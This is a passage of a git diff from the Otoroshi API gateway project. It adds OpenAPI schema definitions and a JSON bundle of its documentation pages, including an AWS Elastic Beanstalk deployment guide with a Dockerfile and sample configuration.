: { + "$ref" : "#/components/schemas/InMemoryUser" + }, + "description" : "List of users" + } + } + }, + "LdapAuthModuleConfig" : { + "description" : "Settings to authenticate users using a generic OAuth2 provider", + "type" : "object", + "required" : [ "type", "id", "name", "desc", "sessionMaxAge", "serverUrl", "searchBase", "userBase", "groupFilter", "searchFilter", "adminUsername", "adminPassword", "nameField", "emailField", "metadataField" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "Type of settings. value is ldap" + }, + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "Unique id of the config" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "Name of the config" + }, + "desc" : { + "type" : "string", + "example" : "a string value", + "description" : "Description of the config" + }, + "sessionMaxAge" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Max age of the session" + }, + "serverUrl" : { + "type" : "string", + "example" : "a string value", + "description" : "URL of the ldap server" + }, + "searchBase" : { + "type" : "string", + "example" : "a string value", + "description" : "LDAP search base" + }, + "userBase" : { + "type" : "string", + "example" : "a string value", + "description" : "LDAP user base DN" + }, + "groupFilter" : { + "type" : "string", + "example" : "a string value", + "description" : "Filter for groups" + }, + "searchFilter" : { + "type" : "string", + "example" : "a string value", + "description" : "Filter for users" + }, + "adminUsername" : { + "type" : "string", + "example" : "a string value", + "description" : "The admin username" + }, + "adminPassword" : { + "type" : "string", + "example" : "a string value", + "description" : "The admin password" + }, + "nameField" : { + "type" : "string", + "example" : "a string value", + "description" : "Field name to get name from user profile" + }, + "emailField" : { + "type" : "string", + "example" : "a string value", + "description" : "Field name to get email from user profile" + }, + "otoroshiDataField" : { + "type" : "string", + "example" : "a string value", + "description" : "Field name to get otoroshi metadata from. You can specify sub fields using | as separator" + } + } + }, + "CorsSettings" : { + "description" : "The configuration for cors support", + "type" : "object", + "required" : [ "enabled", "allowOrigin", "exposeHeaders", "allowHeaders", "allowMethods", "excludedPatterns", "maxAge", "allowCredentials" ], + "properties" : { + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Whether or not cors is enabled" + }, + "allowOrigin" : { + "type" : "string", + "example" : "a string value", + "description" : "The cors allowed origin" + }, + "exposeHeaders" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "The cors exposed header" + }, + "allowHeaders" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "The cors allowed headers" + }, + "allowMethods" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "The cors allowed methods" + }, + "excludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "The cors excluded patterns" + }, + "maxAge" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Cors max age" + }, + "allowCredentials" : { + "type" : "boolean", + "example" : true, + "description" : "Allow to pass credentials" + } + } + }, + "RedirectionSettings" : { + "description" : "The configuration for redirection per service", + "type" : "object", + "required" : [ "enabled", "to", "code" ], + "properties" : { + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Whether or not redirection is enabled" + }, + "to" : { + "type" : "string", + "example" : "a string value", + "description" : "The location for redirection" + }, + "code" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "The http redirect code" + } + } + }, + "InMemoryUser" : { + "description" : "A user", + "type" : "object", + "required" : [ "name", "password", "email", "metadata" ], + "properties" : { + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "Name of the user" + }, + "email" : { + "type" : "string", + "example" : "a string value", + "description" : "Email of the user" + }, + "password" : { + "type" : "string", + "example" : "a string value", + "description" : "Password of the user (BCrypt hash)" + }, + "metadata" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Metadata of the user" + } + } + }, + "LdapUser" : { + "description" : "A user", + "type" : "object", + "required" : [ "name", "email", "metadata" ], + "properties" : { + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "Name of the user" + }, + "email" : { + "type" : "string", + "example" : "a string value", + "description" : "Email of the user" + }, + "metadata" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Metadata of the user" + } + } + }, + "Gzip" : { + "description" : "Configuration for gzip of service responses", + "type" : "object", + "required" : [ "enabled", "excludedPatterns", "whiteList", "blackList", "bufferSize", "chunkedThreshold", "compressionLevel" ], + "properties" : { + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Whether gzip compression is enabled or not" + }, + "excludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "Patterns that are excluded from gzipping" + }, + "whiteList" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "Whitelisted mime types. Wildcard supported" + }, + "blackList" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "Blacklisted mime types. Wildcard supported" + }, + "bufferSize" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Size of the GZip buffer" + }, + "chunkedThreshold" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Threshold for chunking data" + }, + "compressionLevel" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Compression level. From 0 to 9" + } + } + }, + "Script" : { + "description" : "A script to transformer otoroshi requests ", + "type" : "object", + "required" : [ "id", "name", "desc", "code" ], + "properties" : { + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "The id of the script" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "The name of the script" + }, + "desc" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "The description of the script" + }, + "code" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "The code of the script" + } + } + }, + "ScriptCompilationResult" : { + "description" : "The result of the compilation of a Script", + "type" : "object", + "required" : [ "done" ], + "properties" : { + "done" : { + "type" : "boolean", + "example" : true, + "description" : "Is the task done or not" + }, + "error" : { + "$ref" : "#/components/schemas/ScriptCompilationError" + } + } + }, + "ScriptCompilationError" : { + "description" : "The error of the compilation of a Script", + "type" : "object", + "required" : [ "line", "column", "file", "rawMessage", "message" ], + "properties" : { + "line" : { + "type" : "string", + "example" : "a string value", + "description" : "The line of the error" + }, + "column" : { + "type" : "string", + "example" : "a string value", + "description" : "The column of the error" + }, + "file" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "The file where the error is located" + }, + "rawMessage" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "The raw message from the compiler" + }, + "message" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "The message to display for the error" + } + } + }, + "Certificate" : { + "description" : "A SSL/TLS X509 certificate", + "type" : "object", + "required" : [ "id", "chain", "privateKey", "caRef", "domain", "selfSigned", "ca", "valid", "autoRenew", "subject", "from", "to" ], + "properties" : { + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "Id of the certificate" + }, + "chain" : { + "type" : "string", + "example" : "a string value", + "description" : "Certificate chain of trust in PEM format" + }, + "privateKey" : { + "type" : "string", + "example" : "a string value", + "description" : "PKCS8 private key in PEM format" + }, + "caRef" : { + "type" : "string", + "example" : "a string value", + "description" : "Reference for a CA certificate in otoroshi" + }, + "autoRenew" : { + "type" : "string", + "example" : "a string value", + "description" : "Allow Otoroshi to renew the certificate (if self signed)" + }, + "domain" : { + "type" : "string", + "example" : "a string value", + "description" : "Domain of the certificate (read only)" + }, + "selfSigned" : { + "type" : "string", + "example" : "a string value", + "description" : "Certificate is self signed read only)" + }, + "ca" : { + "type" : "string", + "example" : "a string value", + "description" : "Certificate is a CA (read only)" + }, + "valid" : { + "type" : "string", + "example" : "a string value", + "description" : "Certificate is valid (read only)" + }, + "subject" : { + "type" : "string", + "example" : "a string value", + "description" : "Subject of the certificate (read only)" + }, + "from" : { + "type" : "string", + "example" : "a string value", + "description" : "Start date of validity" + }, + "to" : { + "type" : "string", + "example" : "a string value", + "description" : "End date of validity" + } + } + }, + "ValidationAuthority" : { + "description" : "Settings to access a validation authority server", + "type" : "object", + "required" : [ "id", "name", "description", "url", "host", "goodTtl", "badTtl", "method", "path", "timeout", "noCache", "alwaysValid", "headers" ], + "properties" : { + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "The id of the settings" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "The name of the settings" + }, + "description" : { + "type" : "string", + "example" : "a string value", + "description" : "The description of the settings" + }, + "url" : { + "type" : "string", + "example" : "a string value", + "description" : "The URL of the server" + }, + "host" : { + "type" : "string", + "example" : "a string value", + "description" : "The host of the server" + }, + "goodTtl" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The TTL for valid access response caching" + }, + "badTtl" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The TTL for invalid access response caching" + }, + "method" : { + "type" : "string", + "example" : "a string value", + "description" : "The HTTP method" + }, + "path" : { + "type" : "string", + "example" : "a string value", + "description" : "The URL path" + }, + "timeout" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The call timeout" + }, + "noCache" : { + "type" : "boolean", + "example" : true, + "description" : "Avoid caching responses" + }, + "alwaysValid" : { + "type" : "boolean", + "example" : true, + "description" : "Bypass http calls, every certificates are valids" + }, + "headers" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "HTTP call headers" + } + } + }, + "KafkaConfig" : { + "description" : "The configuration for kafka access", + "type" : "object", + "required" : [ "servers" ], + "properties" : { + "servers" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "URLs of the kafka servers" + }, + "keyPass" : { + "type" : "string", + "example" : "a string value", + "description" : "Optional keypass" + }, + "keyStore" : { + "type" : "string", + "example" : "a string value", + "description" : "Optional path to keystore" + }, + "trustore" : { + "type" : "string", + "example" : "a string value", + "description" : "Optional path to trustore" + }, + "topic" : { + "type" : "string", + "example" : "a string value", + "description" : "Optional kafka topic (otoroshi-events by default)" + } + } + }, + "ElasticConfig" : { + "description" : "The configuration for elastic access", + "type" : "object", + "required" : [ "clusterUri", "index", "type", "user", "password", "headers" ], + "properties" : { + "clusterUri" : { + "type" : "string", + "example" : "a string value", + "description" : "URL of the elastic cluster" + }, + "index" : { + "type" : "string", + "example" : "a string value", + "description" : "Index for events. Default is otoroshi-events" + }, + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "Type of events. Default is event" + }, + "user" : { + "type" : "string", + "example" : "a string value", + "description" : "Optional user" + }, + "password" : { + "type" : "string", + "example" : "a string value", + "description" : "Optional password" + }, + "headers" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Additionnal http headers" + } + } + }, + "whebhookConfig" : { + "description" : "The configuration for webhook", + "type" : "object", + "required" : [ "servers" ], + "properties" : { + "url" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "URLs of the webhook" + }, + "headers" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Optional headers" + } + } + }, + "PulsarDataExporterConfig" : { + "description" : "The configuration for kafka access", + "type" : "object", + "required" : [ "uri", "tenant", "namespace", "topic" ], + "properties" : { + "uri" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "URI of the pulsar server" + }, + "tenant" : { + "type" : "string", + "example" : "a string value", + "description" : "Tenant" + }, + "namespace" : { + "type" : "string", + "example" : "a string value", + "description" : "Namespace" + }, + "topic" : { + "type" : "string", + "example" : "a string value", + "description" : "Topic" + } + } + }, + "FileDataExporterConfig" : { + "type" : "object", + "required" : [ "path" ], + "properties" : { + "path" : { + "type" : "string", + "example" : "a string value", + "description" : "Path to file" + } + } + }, + "MailerGenericExporterConfig" : { + "type" : "object", + "required" : [ "type" ], + "properties" : { + "type" : { + "type" : "string", + "enum" : [ "generic" ], + "description" : "Type of mailer" + }, + "url" : { + "type" : "string", + "example" : "a string value", + "description" : "Url of mailer" + }, + "headers" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Optional headers" + }, + "to" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "Email adresses of recipents" + } + } + }, + "MailerConsoleExporterConfig" : { + "type" : "object", + "properties" : { + "type" : { + "type" : "string", + "enum" : [ "generic" ], + "description" : "Type of mailer" + } + } + }, + "MailerMailgunExporterConfig" : { + "type" : "object", + "required" : [ "type" ], + "properties" : { + "type" : { + "type" : "string", + "enum" : [ "mailgun" ], + "description" : "Type of mailer" + }, + "eu" : { + "type" : "boolean", + "example" : true, + "description" : "Whether the mailgun server is european" + }, + "apiKey" : { + "type" : "string", + "example" : "a string value", + "description" : "Mailgun apiKey" + }, + "domain" : { + "type" : "string", + "example" : "a string value", + "description" : "Mailgun domain" + }, + "to" : { + "type" : "array", + "items" : { + "type" : "string", + "format" : "email", + "example" : "admin@otoroshi.io" + }, + "description" : "Email adresses of recipents" + } + } + }, + "MailerMailjetExporterConfig" : { + "type" : "object", + "required" : [ "type" ], + "properties" : { + "type" : { + "type" : "string", + "enum" : [ "mailjet" ], + "description" : "Type of mailer" + }, + "apiKeyPublic" : { + "type" : "string", + "example" : "a string value", + "description" : "Mailjet public apiKey" + }, + "apiKeyPrivate" : { + "type" : "string", + "example" : "a string value", + "description" : "Mailjet private apiKey" + }, + "to" : { + "type" : "array", + "items" : { + "type" : "string", + "format" : "email", + "example" : "admin@otoroshi.io" + }, + "description" : "Email adresses of recipents" + } + } + }, + "MailerSendgridExporterConfig" : { + "type" : "object", + "required" : [ "type" ], + "properties" : { + "type" : { + "type" : "string", + "enum" : [ "sendgrid" ], + "description" : "Type of mailer" + }, + "apiKeyPublic" : { + "type" : "string", + "example" : "a string value", + "description" : "Sendgrid apiKey" + }, + "to" : { + "type" : "array", + "items" : { + "type" : "string", + "format" : "email", + "example" : "admin@otoroshi.io" + }, + "description" : "Email adresses of recipents" + } + } + }, + "ConsoleDataExporterConfig" : { + "type" : "object", + "properties" : { } + }, + "CustomDataExporterConfig" : { + "type" : "object", + "required" : [ "ref", "config" ], + "properties" : { + "ref" : { + "type" : "string", + "example" : "a string value", + "description" : "Script Ref" + }, + "config" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Custom data exporter config" + } + } + }, + "DataExporterConfig" : { + "description" : "Settings to export Otorshi events", + "type" : "object", + "properties" : { + "enabled" : { + "type" : "string", + "example" : "a string value", + "description" : "Boolean" + }, + "typ" : { + "type" : "string", + "enum" : [ "kafka", "pulsar", "file", "mailer", "elastic", "console", "custom" ], + "description" : "Type of data exporter" + }, + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "Id" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "Name" + }, + "desc" : { + "type" : "string", + "example" : "a string value", + "description" : "Description" + }, + "metadata" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Metadata" + }, + "location" : { + "$ref" : "#/components/schemas/Location", + "description" : "location" + }, + "bufferSize" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "buffer size" + }, + "jsonWorkers" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "nb workers" + }, + "sendWorkers" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "send workers" + }, + "groupSize" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Group size" + }, + "groupDuration" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "duration" + }, + "filtering" : { + "$ref" : "#/components/schemas/Filtering", + "description" : "filtering" + }, + "projection" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "projection" + }, + "config" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/ElasticConfig" + }, { + "$ref" : "#/components/schemas/KafkaConfig" + }, { + "$ref" : "#/components/schemas/PulsarDataExporterConfig" + }, { + "$ref" : "#/components/schemas/FileDataExporterConfig" + }, { + "$ref" : "#/components/schemas/MailerGenericExporterConfig" + }, { + "$ref" : "#/components/schemas/MailerConsoleExporterConfig" + }, { + "$ref" : "#/components/schemas/MailerMailgunExporterConfig" + }, { + "$ref" : "#/components/schemas/MailerMailjetExporterConfig" + }, { + "$ref" : "#/components/schemas/MailerSendgridExporterConfig" + }, { + "$ref" : "#/components/schemas/ConsoleDataExporterConfig" + }, { + "$ref" : "#/components/schemas/CustomDataExporterConfig" + } ], + "description" : "Data Exporter config" + } + } + }, + "Location" : { + "type" : "object", + "required" : [ "tenant", "teams" ], + "properties" : { + "tenant" : { + "type" : "string", + "example" : "a string value", + "description" : "Tenant id" + }, + "teams" : { + "type" : "array", + "items" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + } + }, + "description" : "Team ids" + } + } + }, + "Filtering" : { + "type" : "object", + "required" : [ "include, exclude" ], + "properties" : { + "include" : { + "type" : "array", + "items" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + } + }, + "description" : "Including pattern" + }, + "exclude" : { + "type" : "array", + "items" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + } + }, + "description" : "Excluding pattern" + } + } + } + } + } +} \ No newline at end of file diff --git a/docs/manual/content-pretty.json b/docs/manual/content-pretty.json new file mode 100644 index 0000000000..2c8a6497a0 --- /dev/null +++ b/docs/manual/content-pretty.json @@ -0,0 +1,639 @@ +[ + { + "name": "about.md", + "id": "/about.md", + "url": "/about.html", + "title": "About Otoroshi", + "content": "# About Otoroshi\n\nAt the beginning of 2017, we had the need to create a new environment to be able to create new \"digital\" products very quickly in an agile fashion at @link:[MAIF](https://www.maif.fr) { open=new }. Naturally we turned to PaaS solutions and chose the excellent @link:[Clever Cloud](https://www.clever-cloud.com) { open=new } product to run our apps. \n\nWe also chose that every feature team will have the freedom to choose its own technological stack to build its product. It was a nice move but it has also introduced some challenges in terms of homogeneity for traceability, security, logging, ... because we did not want to force library usage in the products. We could have used something like @link:[Service Mesh Pattern](http://philcalcado.com/2017/08/03/pattern_service_mesh.html) { open=new } but the deployement model of @link:[Clever Cloud](https://www.clever-cloud.com) { open=new } prevented us to do it.\n\nThe right solution was to use a reverse proxy or some kind of API Gateway able to provide tracability, logging, security with apikeys, quotas, DNS as a service locator, etc. We needed something easy to use, with a human friendly UI, a nice API to extends its features, true hot reconfiguration, able to generate internal events for third party usage. A couple of solutions were available at that time, but not one seems to fit our needs, there was always something missing, too complicated for our needs or not playing well with @link:[Clever Cloud](https://www.clever-cloud.com) { open=new } deployment model.\n\nAt some point, we tried to write a small prototype to explore what could be our dream reverse proxy. The design was very simple, there were some rough edges but every major feature needed was there waiting to be enhanced.\n\n**Otoroshi** was born and we decided to move ahead with our hairy monster :)\n\n## Philosophy \n\nEvery OSS product build at @link:[MAIF](https://www.maif.fr) { open=new } like the developer portal @link:[Daikoku](https://maif.github.io/daikoku) { open=new } or @link:[Izanami](https://maif.github.io/izanami) { open=new } follow a common philosophy. \n\n* the services or API provided should be **technology agnostic**.\n* **http first**: http is the right answer to the previous quote \n* **api First**: the UI is just another client of the api. \n* **secured**: the services exposed need authentication for both humans or machines \n* **event based**: the services should expose a way to get notified of what happened inside. \n" + }, + { + "name": "api.md", + "id": "/api.md", + "url": "/api.html", + "title": "Admin REST API", + "content": "# Admin REST API\n\nOtoroshi provides a fully featured REST admin API to perform almost every operation possible in the Otoroshi dashboard. The Otoroshi dashbaord is just a regular consumer of the admin API.\n\nUsing the admin API, you can do whatever you want and enhance your Otoroshi instances with a lot of features that will feet your needs.\n\n## Swagger descriptor\n\nThe Otoroshi admin API is described using OpenAPI format and is available at :\n\nhttps://maif.github.io/otoroshi/manual/code/openapi.json\n\nEvery Otoroshi instance provides its own embedded OpenAPI descriptor at :\n\nhttp://otoroshi.oto.tools:8080/api/openapi.json\n\n## Swagger documentation\n\nYou can read the OpenAPI descriptor in a more human friendly fashion using `Swagger UI`. The swagger UI documentation of the Otoroshi admin API is available at :\n\nhttps://maif.github.io/otoroshi/swagger-ui/index.html\n\nEvery Otoroshi instance provides its own embedded OpenAPI descriptor at :\n\nhttp://otoroshi.oto.tools:8080/api/swagger/ui\n\nYou can also read the swagger UI documentation of the Otoroshi admin API below :\n\n@@@ div { .swagger-frame }\n\n\n@@@\n" + }, + { + "name": "architecture.md", + "id": "/architecture.md", + "url": "/architecture.html", + "title": "Architecture", + "content": "# Architecture\n\nWhen we started the development of Otoroshi, we had several classical patterns in mind like `Service gateway`, `Service locator`, `Circuit breakers`, etc ...\n\nAt start we thought about providing a bunch of librairies that would be included in each microservice or app to perform these tasks. But the more we were thinking about it, the more it was feeling weird, unagile, etc, it also prevented us to use any technical stack we wanted to use. So we decided to change our approach to something more universal.\n\nWe chose to make Otoroshi the central part of our microservices system, something between a reverse-proxy, a service gateway and a service locator where each call to a microservice (even from another microservice) must pass through Otoroshi. There are multiple benefits to do that, each call can be logged, audited, monitored, integrated with a circuit breaker, etc without imposing libraries and technical stack. Any service is exposed through its own domain and we rely only on DNS to handle the service location part. Any access to a service is secured by default with an api key and is supervised by a circuit breaker to avoid cascading failures.\n\n@@@ div { .centered-img }\n\n@@@\n\nOtoroshi tries to embrace our @ref:[global philosophy](./about.md#philosophy) by providing a full featured REST admin api, a gorgeous admin dashboard written in @link:[React](https://reactjs.org) { open=new } that uses the api, by generating traffic events, alerts events, audit events that can be consumed by several channels. Otoroshi also supports a bunch of datastores to better match with different use cases.\n\n@@@ div { .centered-img }\n\n@@@\n" + }, + { + "name": "aws.md", + "id": "/deploy/aws.md", + "url": "/deploy/aws.html", + "title": "AWS - Elastic Beanstalk", + "content": "# AWS - Elastic Beanstalk\n\nNow you want to use Otoroshi on AWS. There are multiple options to deploy Otoroshi on AWS, \nfor instance :\n\n* You can deploy the @ref:[Docker image](../install/get-otoroshi.md#from-docker) on [Amazon ECS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html)\n* You can create a basic [Amazon EC2](https://docs.aws.amazon.com/fr_fr/AWSEC2/latest/UserGuide/concepts.html), access it via SSH, then \ndeploy the @ref:[otoroshi.jar](../install/get-otoroshi.md#from-jar-file) \n* Or you can use [AWS Elastic Beanstalk](https://aws.amazon.com/fr/elasticbeanstalk)\n\nIn this section we are going to cover how to deploy Otoroshi on [AWS Elastic Beanstalk](https://aws.amazon.com/fr/elasticbeanstalk). \n\n## AWS Elastic Beanstalk Overview\nUnlike Clever Cloud, to deploy an application on AWS Elastic Beanstalk, you don't link your app to your VCS repository, push your code and expect it to be built and run.\n\nAWS Elastic Beanstalk does only the run part. So you have to handle your own build pipeline, upload a Zip file containing your runnable, then AWS Elastic Beanstalk will take it from there. \n \nEg: for apps running on the JVM (Scala/Java/Kotlin) a Zip with the jar inside would suffice, for apps running in a Docker container, a Zip with the DockerFile would be enough. \n\n\n## Prepare your deployment target\nActually, there are 2 options to build your target. \n\nEither you create a DockerFile from this @ref:[Docker image](../install/get-otoroshi.md#from-docker), build a zip, and do all the Otoroshi custom configuration using ENVs.\n\nOr you download the @ref:[otoroshi.jar](../install/get-otoroshi.md#from-jar-file), do all the Otoroshi custom configuration using your own otoroshi.conf, and create a DockerFile that runs the jar using your otoroshi.conf. \n\nFor the second option your DockerFile would look like this :\n\n```dockerfile\nFROM openjdk:11\nVOLUME /tmp\nEXPOSE 8080\nADD otoroshi.jar otoroshi.jar\nADD otoroshi.conf otoroshi.conf\nRUN sh -c 'touch /otoroshi.jar'\nENV JAVA_OPTS=\"\"\nENTRYPOINT [ \"sh\", \"-c\", \"java $JAVA_OPTS -Djava.security.egd=file:/dev/./urandom -Dconfig.file=/otoroshi.conf -jar /otoroshi.jar\" ]\n``` \n \nI'd recommend the second option.\n \nNow Zip your target (Jar + Conf + DockerFile) and get ready for deployment. \n\n## Create an Otoroshi instance on AWS Elastic Beanstalk\nFirst, go to [AWS Elastic Beanstalk Console](https://eu-west-3.console.aws.amazon.com/elasticbeanstalk/home?region=eu-west-3#/welcome), don't forget to sign in and make sure that you are in the good region (eg : eu-west-3 for Paris).\n\nHit **Get started** \n\n@@@ div { .centered-img }\n\n@@@\n\nSpecify the **Application name** of your application, Otoroshi for example.\n\n@@@ div { .centered-img }\n\n@@@\n \nChoose the **Platform** of the application you want to create, in your case use Docker.\n\nFor **Application code** choose **Upload your code** then hit **Upload**.\n\n@@@ div { .centered-img }\n\n@@@\n\nBrowse the zip created in the [previous section](#prepare-your-deployment-target) from your machine. \n\nAs you can see in the image above, you can also choose an S3 location, you can imagine that at the end of your build pipeline you upload your Zip to S3, and then get it from there (I wouldn't recommend that though).\n \nWhen the upload is done, hit **Configure more options**.\n \n@@@ div { .centered-img }\n\n@@@ \n \nRight now an AWS Elastic Beanstalk application has been created, and by default an environment named Otoroshi-env is being created as well.\n\nAWS Elastic Beanstalk can manage multiple environments of the same application, for instance environments can be (prod, preprod, expriments...). \n\nOtoroshi is a bit particular, it doesn't make much sense to have multiple environments, since Otoroshi will handle all the requests from/to backend services regardless of the environment. \n \nAs you see in the image above, we are now configuring the Otoroshi-env, the one and only environment of Otoroshi.\n \nFor **Configuration presets**, choose custom configuration, now you have a load balancer for your environment with the capacity of at least one instance and at most four.\nI'd recommend at least 2 instances, to change that, on the **Capacity** card hit **Modify**. \n\n@@@ div { .centered-img }\n\n@@@\n\nChange the **Instances** to min 2, max 4 then hit **Save**. For the **Scaling triggers**, I'd keep the default values, but know that you can edit the capacity config any time you want, it only costs a redeploy, which will be done automatically by the way.\n \nInstances size is by default t2.micro, which is a bit small for running Otoroshi, I'd recommend a t2.medium. \nOn the **Instances** card hit **Modify**.\n\n@@@ div { .centered-img }\n\n@@@\n\nFor **Instance type** choose t2.medium, then hit **Save**, no need to change the volume size, unless you have a lot of http call faults, which means a lot more logs, in that case the default volume size may not be enough.\n\nThe default environment created for Otoroshi, for instance Otoroshi-env, is a web server environment which fits in your case, but the thing is that on AWS Elastic Beanstalk by default a web server environment for a docker-based application, runs behind an Nginx proxy.\nWe have to remove that proxy. So on the **Software** card hit **Modify**.\n \n@@@ div { .centered-img }\n\n@@@ \n \nFor **Proxy server** choose None then hit **Save**.\n\nAlso note that you can set Envs for Otoroshi in same page (see image below). \n\n@@@ div { .centered-img }\n\n@@@ \n\nTo finalise the creation process, hit **Create app** on the bottom right.\n\nThe Otoroshi app is now created, and it's running which is cool, but we still don't have neither a **datastore** nor **https**.\n \n## Create an Otoroshi datastore on AWS ElastiCache\n\nBy default Otoroshi uses non persistent memory to store it's data, Otoroshi supports many kinds of datastores. In this section we will be covering Redis datastore. \n\nBefore starting, using a datastore hosted by AWS is not at all mandatory, feel free to use your own if you like, but if you want to learn more about ElastiCache, this section may interest you, otherwise you can skip it.\n\nGo to [AWS ElastiCache](https://eu-west-3.console.aws.amazon.com/elasticache/home?region=eu-west-3#) and hit **Get Started Now**.\n\n@@@ div { .centered-img }\n\n@@@ \n\nFor **Cluster engine** keep Redis.\n\nChoose a **Name** for your datastore, for instance otoroshi-datastore.\n\nYou can keep all the other default values and hit **Create** on the bottom right of the page.\n\nOnce your Redis Cluster is created, it would look like the image below.\n\n@@@ div { .centered-img }\n\n@@@ \n\n\nFor applications in the same security group as your cluster, redis cluster is accessible via the **Primary Endpoint**. Don't worry the default security group is fine, you don't need any configuration to access the cluster from Otoroshi.\n\nTo make Otoroshi use the created cluster, you can either use Envs `APP_STORAGE=redis`, `REDIS_HOST` and `REDIS_PORT`, or set `otoroshi.storage=redis`, `otoroshi.redis.host` and `otoroshi.redis.port` in your otoroshi.conf.\n\n## Create SSL certificate and configure your domain\n\nOtoroshi has now a datastore, but not yet ready for use. \n\nIn order to get it ready you need to :\n\n* Configure Otoroshi with your domain \n* Create a wildcard SSL certificate for your domain\n* Configure Otoroshi AWS Elastic Beanstalk instance with the SSL certificate \n* Configure your DNS to redirect all traffic on your domain to Otoroshi \n \n### Configure Otoroshi with your domain\n\nYou can use ENVs or you can use a custom otoroshi.conf in your Docker container.\n\nFor the second option your otoroshi.conf would look like this :\n\n``` \n include \"application.conf\"\n http.port = 8080\n app {\n env = \"prod\"\n domain = \"mysubdomain.oto.tools\"\n rootScheme = \"https\"\n snowflake {\n seed = 0\n }\n events {\n maxSize = 1000\n }\n backoffice {\n subdomain = \"otoroshi\"\n session {\n exp = 86400000\n }\n }\n \n storage = \"redis\"\n redis {\n host=\"myredishost\"\n port=myredisport\n }\n \n privateapps {\n subdomain = \"privateapps\"\n }\n \n adminapi {\n targetSubdomain = \"otoroshi-admin-internal-api\"\n exposedSubdomain = \"otoroshi-api\"\n defaultValues {\n backOfficeGroupId = \"admin-api-group\"\n backOfficeApiKeyClientId = \"admin-client-id\"\n backOfficeApiKeyClientSecret = \"admin-client-secret\"\n backOfficeServiceId = \"admin-api-service\"\n }\n proxy {\n https = true\n local = false\n }\n }\n claim {\n sharedKey = \"myclaimsharedkey\"\n }\n }\n \n play.http {\n session {\n secure = false\n httpOnly = true\n maxAge = 2147483646\n domain = \".mysubdomain.oto.tools\"\n cookieName = \"oto-sess\"\n }\n }\n``` \n\n### Create a wildcard SSL certificate for your domain\n\nGo to [AWS Certificate Manager](https://eu-west-3.console.aws.amazon.com/acm/home?region=eu-west-3#/firstrun).\n\nBelow **Provision certificates** hit 